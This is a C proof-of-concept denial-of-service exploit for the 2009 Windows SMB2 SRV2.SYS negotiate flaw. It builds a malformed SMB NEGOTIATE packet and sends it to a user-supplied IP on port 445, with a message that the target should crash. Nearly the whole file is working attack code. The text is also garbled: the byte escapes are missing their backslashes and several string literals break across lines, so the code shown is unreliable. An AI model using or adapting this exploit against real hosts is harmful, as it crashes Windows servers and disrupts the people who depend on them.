SMB SRV2.SYS Denial of Service PoC

/*
 *
 * SMB SRV2.SYS Denial of Service PoC
 * Release Date: Sep 8, 2009
 * Severity: Medium/High
 * Systems Affected: Windows Vista SP1+SP2, Windows 2008 SP2, Windows 7 Beta + RC
 * Discovered by: Laurent GaffiƩ
 * 
 * Description: 
 * 		SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE PROTOCOL REQUEST functionnality. 
 * 		The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and its used
 *		to identify the SMB dialect that will be used for futher communication.
 *
 * KB: http://www.microsoft.com/technet/security/advisory/975497.mspx
*/

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "WS2_32.lib")

char buff[] =
		"x00x00x00x90" // Begin SMB header: Session message
		"xffx53x4dx42" // Server Component: SMB
		"x72x00x00x00" // Negociate Protocol
		"x00x18x53xc8" // Operation 0x18 & sub 0xc853
		"x00x26" // Process ID High: --> :) normal value should be "x00x00"
		"x00x00x00x00x00x00x00x00x00x00xffxffxffxfe"
		"x00x00x00x00x00x6dx00x02x50x43x20x4ex45x54"
		"x57x4fx52x4bx20x50x52x4fx47x52x41x4dx20x31"
		"x2ex30x00x02x4cx41x4ex4dx41x4ex31x2ex30x00"
		"x02x57x69x6ex64x6fx77x73x20x66x6fx72x20x57"
		"x6fx72x6bx67x72x6fx75x70x73x20x33x2ex31x61"
		"x00x02x4cx4dx31x2ex32x58x30x30x32x00x02x4c"
		"x41x4ex4dx41x4ex32x2ex31x00x02x4ex54x20x4c"
		"x4dx20x30x2ex31x32x00x02x53x4dx42x20x32x2e"
		"x30x30x32x00";
		
int main(int argc, char *argv[]) {
	
	
	if (argc < 2) {
		printf("Syntax: %s [ip address]
", argv[0]);
		return -1;
	}
	
	WSADATA WSAdata;
	WSAStartup(MAKEWORD(2, 2), &WSAdata);
	
	SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
	char *host = argv[1];
	
	// fill in sockaddr and resolve the host
	SOCKADDR_IN ssin; 
	memset(&ssin, 0, sizeof(ssin));
	ssin.sin_family = AF_INET;
	ssin.sin_port = htons((unsigned short)445);
	ssin.sin_addr.s_addr = inet_addr(host);
	
	printf("Connecting to %s:445... ", host);
	if (connect(sock, (LPSOCKADDR)&ssin, sizeof(ssin)) == -1) {
		printf("ERROR!
");
		return 0;
	}
	printf("OK
");
	
	printf("Sending malformed packet... ");
	if (send(sock, buff, sizeof(buff), 0) <= 0) {
		printf("ERROR!
");
		return 0;
	}
	printf("OK
");
	
	printf("Successfully sent packet!
Target should be crashed...
");
	
	// Close the socket
	closesocket(sock);
	WSACleanup();
	
	return 1;
}